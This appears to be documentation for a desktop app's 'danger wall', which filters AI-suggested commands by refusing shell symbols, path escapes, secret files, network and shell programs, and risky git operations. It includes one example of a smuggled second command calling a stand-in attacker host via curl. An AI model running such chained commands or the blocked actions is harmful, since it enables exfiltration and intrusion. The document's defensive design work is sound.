How the danger wall reads a command

The most important design choice in the danger wall is simple: commands the AI suggests never go to a shell. No bash, no cmd, no PowerShell. That one rule removes a whole family of tricks.

Step 1: split it ourselves

The desktop app splits the command into a program name and its arguments itself. If the text contains shell symbols such as ; & | < > ` or $, it is refused. So npm test; curl evil.example never becomes two commands: it is rejected before anything runs.

Step 2: the program must be called by name

npm is fine. ./tools/npm or C:\temp\npm.exe is refused. That stops the AI from writing a script into the project and then running it under a familiar name.

Step 3: the never list

Programs that delete or move files, start shells, run arbitrary code, download or connect elsewhere, run as administrator or change system settings are refused, and no setting can allow them.

Step 4: every argument stays in the folder

Arguments that are absolute paths, start with .. or ~, contain a drive letter or point at a network share are refused. So are arguments that name a secret file.

Step 5: Git, databases, deploys and installs

Read-only Git commands like git status and git diff run. git push, reset, clean, rebase, config and remote are never allowed. Database commands, migrations, deploys, publishing and installing packages stop and ask you.

Step 6: known test and build commands

Commands such as npm test, pytest, go test, cargo test and dotnet test run without asking, unless you chose Ask before every command. Anything the danger wall doesn't recognise asks you first.

All of this happens on your computer, in the desktop app, after the AI has answered. The AI can say whatever it likes; the danger wall only looks at what would actually run.